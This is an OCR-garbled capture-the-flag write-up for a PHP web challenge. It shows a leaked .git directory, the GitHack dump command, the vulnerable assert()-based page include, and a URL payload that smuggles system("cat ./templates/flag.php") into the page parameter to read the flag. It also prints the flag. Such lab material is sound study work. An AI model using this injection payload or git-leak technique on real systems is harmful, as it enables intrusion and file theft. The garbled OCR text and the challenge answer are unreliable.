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About

I wrote this website all by myself in under a week!
| used:

« Git
« PHP
« Bootstrap
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€ C @O A=%| 111.198.29.45:59766/.git/
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Index of /.git

Name Last modified Size Description

& Parent Directory -
?) COMMIT_EDITMSG 2018-10-04 12:57 25

?] HEAD 2018-10-04 1257 23
—J branches/ 2018-10-04 1257 -
) config 2018-10-04 12:57 92
%) description 2018-10-04 12:57 73
T3 hooks/ 2018-10-04 12:57 -
) index 2018-10-04 12:57 523
Syinfos 2018-10-04 1257 -
23 logs/ 2018-10-04 1257 -
=) objects/ 2018-10-04 1257 -
) refs/ 2018-10-04 1257 -

4dpache/2.4. 18 (Ubuntu) Server at 1711.198.29.45 Port 59766
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1§ F https://github.com/lijiejie/GitHack T E 317 :
Python2 GitHack.py http://111.198.29.45:59766

templates 2019/7/25 14:43 i ==

| index.php 2019/7/25 14:43  PHP Znit 3KB

[ » GitHaker » 111.198.29.45 31481 » templates
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about.php 2019/7/25 14:43 PHP =i 1KB
contact.php 201947725 14:43 PHP ik 1KB
flag.php 2019/7/25 14:43 PHP Tri% 1KB
heme.php 201947725 14:43 PHP % 1KB

ERfag, LHEE, EEXAME, TF—FHEAE, TIFindexphpk I K @A:

1. (!—<li <? php if ($page == "flag") { ?>class="active”<?php } ?>>My secrets
2, >

3. <?phpif (isset($_GET[page)) { $page =$_GET[page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // |
heard '.."is dangerous! assert("strpos('$file’, '..") === false") or die("Detected hacking attempt!"); / TODO: Make this look
nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>

RHE1. 2T LA E & R 5 RATNY W TERSBERT .
B, HlagC - BRtsk: HHKIERA system(“‘cat /templates/flag.php”).
B http://111.198.29.45:59766/?page=%27 %20.system(%22cat%20./templates/flag.php%22).%27
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1| <php $FLAG="cyberpeace {fbl 206d3dA0e01c9145e0d0230e1e 167", 75
2| <7php $FLAG="cvberpeace £h1205d34R5:0 1091 4504523021167 7 7>
3| That file doean't exist!

Z kflagy: cyberpeace{fb1205d3d65e51c9145e5d5230e1e167}
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file:///C:/Users/ADMINI~1.ZB-/AppData/Local/Temp/wktemp-8f69bb27-893a-4abf-9258-68be68224c5f.html?page=flag
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